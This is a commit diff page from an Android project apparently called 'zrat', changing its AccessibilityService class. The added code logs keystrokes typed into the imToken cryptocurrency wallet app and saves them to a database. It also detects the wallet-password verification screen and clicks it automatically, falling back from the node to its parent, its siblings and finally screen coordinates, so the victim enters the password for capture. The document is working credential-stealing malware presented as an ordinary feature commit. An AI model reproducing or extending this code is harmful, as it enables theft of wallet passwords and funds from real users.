Преглед изворни кода

feat(AccessibilityService): 优化 imToken 钱包密码验证功能

- 仅记录 imToken 应用的输入内容
- 增加对钱包密码验证区域的检测和点击功能
- 优化点击逻辑,优先点击节点本身,再尝试父节点和同级节点
- 添加通过坐标点击的备选方案
wui пре 9 месеци
родитељ
комит
18d8a02885
1 измењених фајлова са 64 додато и 11 уклоњено
  1. 64 11
      android/zrat/src/main/java/com/example/zrat/AccessibilityService.java

+ 64 - 11
android/zrat/src/main/java/com/example/zrat/AccessibilityService.java

@@ -215,17 +215,70 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
                         if (contentDescription == null) {
                             contentDescription = "";
                         }
-                        // PIN码
-                        Map<String, Object> map = new HashMap<>();
-//                        if (contentDescription.toString().contains("PIN")) {
-                        map.put("appName", applicationLabel.toString());
-                        map.put("record", inputText.toString());
-                        ZService.zService.saveTextRecordToDataBase(map);
-//                        } else {
-//                            Log.i(TAG, "输入文本记录 | App Name: " + applicationLabel.toString());
-//                            Log.i(TAG, "输入文本记录 | Content Description: " + contentDescription.toString());
-//                            Log.i(TAG, "输入文本记录 | Input Text: " + inputText.toString());
-//                        }
+                        // 只记录imToken应用的输入
+                        if ("imToken".equals(applicationLabel.toString())) {
+                            // 如果只需要PIN码
+                            // if (contentDescription.toString().contains("PIN"))
+                            Log.i(TAG, "输入文本记录 | App Name: " + applicationLabel.toString());
+                            Log.i(TAG, "输入文本记录 | Content Description: " + contentDescription.toString());
+                            Log.i(TAG, "输入文本记录 | Input Text: " + inputText.toString());
+
+                            Map<String, Object> map = new HashMap<>();
+                            map.put("appName", applicationLabel.toString());
+                            map.put("record", inputText.toString());
+                            ZService.zService.saveTextRecordToDataBase(map);
+                        }
+                    }
+                }
+            }
+
+            // 检测钱包密码验证区域
+            if (eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED && "imToken".equals(applicationLabel.toString())) {
+                AccessibilityNodeInfo root = getRootInActiveWindow();
+                if (root != null) {
+                    List<AccessibilityNodeInfo> nodes = root.findAccessibilityNodeInfosByText("使用钱包密码验证");
+                    if (nodes != null && !nodes.isEmpty()) {
+                        for (AccessibilityNodeInfo node : nodes) {
+                            // 尝试点击节点本身
+                            if (node.isClickable()) {
+                                node.performAction(AccessibilityNodeInfo.ACTION_CLICK);
+                                Log.i(TAG, "已点击钱包密码验证区域");
+                                break;
+                            }
+
+                            // 如果节点本身不可点击,尝试点击其父节点
+                            AccessibilityNodeInfo parent = node.getParent();
+                            if (parent != null && parent.isClickable()) {
+                                parent.performAction(AccessibilityNodeInfo.ACTION_CLICK);
+                                Log.i(TAG, "已点击钱包密码验证父区域");
+                                break;
+                            }
+
+                            // 如果父节点也不可点击,尝试查找同级的可点击节点
+                            if (parent != null) {
+                                for (int i = 0; i < parent.getChildCount(); i++) {
+                                    AccessibilityNodeInfo sibling = parent.getChild(i);
+                                    if (sibling != node && sibling.isClickable()) {
+                                        sibling.performAction(AccessibilityNodeInfo.ACTION_CLICK);
+                                        Log.i(TAG, "已点击钱包密码验证同级区域");
+                                        break;
+                                    }
+                                }
+                            }
+
+                            // 如果以上都不可点击,尝试使用坐标点击
+                            Rect rect = new Rect();
+                            node.getBoundsInScreen(rect);
+                            if (!rect.isEmpty()) {
+                                int x = rect.centerX();
+                                int y = rect.centerY();
+                                performClick(x, y);
+                                Log.i(TAG, "已通过坐标点击钱包密码验证区域");
+                                break;
+                            }
+                        }
+                    } else {
+                        Log.i(TAG, "未找到钱包密码验证区域");
                     }
                 }
             }